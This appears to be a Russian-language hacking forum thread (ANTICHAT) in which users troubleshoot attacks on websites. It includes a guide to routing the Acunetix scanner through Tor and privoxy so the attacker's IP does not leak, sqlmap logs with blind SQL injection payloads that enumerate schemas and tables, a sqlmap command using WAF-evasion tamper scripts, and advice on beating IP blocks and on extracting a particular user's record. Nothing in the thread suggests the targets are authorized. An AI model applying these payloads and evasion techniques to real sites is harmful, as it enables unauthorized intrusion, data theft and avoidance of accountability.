ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Спасибо, попробовал, но к сожалению не помогло. Может быть есть еще какие то варианты?

А как быть когда dbms = INFORMIX ?



https://prnt.sc/w9vw7e

2. Какие на сегодня существуют методы обхода AKAMAI ?

ПЫСЫ: fandor9 ,случаем платных консультаций не оказываете?

Приветствую, если версия 12 и 13 (в 10 он просто в настройках включается GUI ) то вот выдержка из моего мануала

1)Если нужна работа через тор

качаем privoxy_3.0.28

правим конфиг

forward-socks5t / 127.0.0.1:9150 .

forward-socks4 / 127.0.0.1:9150 .

forward-socks4a / 127.0.0.1:9150 .

12)C:\ProgramData\Acunetix\shared\general в файле settings.xml ищем слово proxy

и меняем на 127.0.0.1 порт 8118

13)Необязательный пункт!!! Теперь при скане сайта дополнительно в веб интерфейсе для каждого скана идем в вкладку HTTP и прописываем 127.0.0.1 порт 8118 (этот пункт оказался не обязательным ,если настройки прописаны в settings.xml)

Проверить работу можно отключив тор- сайт не будет сканится.

========================

чтобы не было утечки айпи при работе через тор нужно отключить следующие тесты ,которые используют порты в обход тор

Server tests:

Apache Tomcat AJP protocol audit

JMX and RMI

Java Debug Wire Protocol (JDWP) audit

Open SSL TLS Heartbleed

PHP Hash Collision DOS

TLS/SSL audit

Target Tests:

Apache Cassandra

FastGI Unauthorized Access

Memcached

Oracle Weblogic T3 XXE

Redis Unath

webLogic RCE

Apache Log4j socket

uWSGI

UPD по поводу зависания веб. Веб вообще не участвует в скане ,это просто оболочка для wvsc.exe его (WEB-GUI) можно даже закрыть, и все равно сканы будут идти. Чтобы зависаний не было ,не ставьте на сайт макимум потоков , лучше 2 деление слева при начале скана. И комп на ссд + минимально 6 Гб оперы + обязательно не использовать дефолт профиль скана ,где включены тесты ДДос, если у вас цель стоит поиск ошибок ,а не положить сайт.

Подскажите пожалуйста в чем может быть проблема..

retrieving таблиц с начало норм шло

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Parameter: sort_by (POST)

Type: boolean-based blind

Title: Boolean-based blind - Parameter replace (original value)

5:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] resumed: ai_tracking_visits_today

[15:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] retrieving the length of query output

[15:06:37] [INFO] resumed: 10

[15:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] resumed: ai_widgets

[15:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] retrieving the length of query output

[15:06:37] [INFO] resumed: 19

[15:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] resumed: ai_widgets_comments

[15:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] retrieving the length of query output

[15:06:37] [INFO] resumed: 9

[15:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] resumed: b?ppd?pp?

[15:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] retrieving the length of query output

[15:06:37] [INFO] resumed: b?ppd?pp?

[15:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] resumed: b?ppd?pp?

[15:06:37] [DEBUG] performed 0 queries in 0.00 seconds

[15:06:37] [INFO] retrieving the length of query output

[15:06:37] [INFO] resumed: b?ppd?pp?

А потом вот такая вот хрень пошла resumed: b?ppd?pp?

[15:11:36] [PAYLOAD] (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(table_name) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x687564736f6e61745f6169 LIMIT 62,1),10,1))>57) THEN 0x6966286e6f7728293d7379736461746528292c736c656570 2830292c3029 ELSE (SELECT 8755 UNION SELECT 5075) END))

[15:11:38] [INFO] retrieved: b?ppd?pp?

Заранее спасибо.

Приветствую

Что можно сделать, чтобы обойти это? После определенного кол-ва запросов к сайту, сайт блокирует ip с которого к нему обращаются, и все попытки проверки обрубаются. Запрос к мапу выглядит так: sqlmap.py -u "https://site.com" --time-sec=32 --timeout=180 --identify-waf --force-ssl --random-agent -v 3 --technique=BU --skip="referrer" --tamper="between,randomcase,space2comment" --level 3 --risk 3 --dbs

Используй прокси, пусти трафик через ТОР

Попробуй с того же IP, но почисти куки.

Добрый день, подскажите плз как сделать так что бы sqlmap нашел определенного юзера по id

Мой запрос

Мне допустим надо юзер с ID 123

[12:51:44] [INFO] fetching database names

[12:51:44] [INFO] fetching number of databases

[12:51:44] [PAYLOAD] -3870

you provided a HTTP Cookie header value, while target URL provides its own cooki

es within HTTP Set-Cookie header which intersect with yours. Do you want to merg

e them in further requests? [Y/n] Y

[12:51:44] [DEBUG] used the default behavior, running in batch mode

[12:51:45] [PAYLOAD] -7120' OR ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema

_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51-- tCKN

[12:51:47] [PAYLOAD] -7120' OR ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema

_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>48-- tCKN

[12:51:53] [PAYLOAD] -7120' OR ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema

_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>9-- tCKN

[12:51:54] [INFO] retrieved:

[12:51:54] [INFO] retrieved:

Кто сталкивался?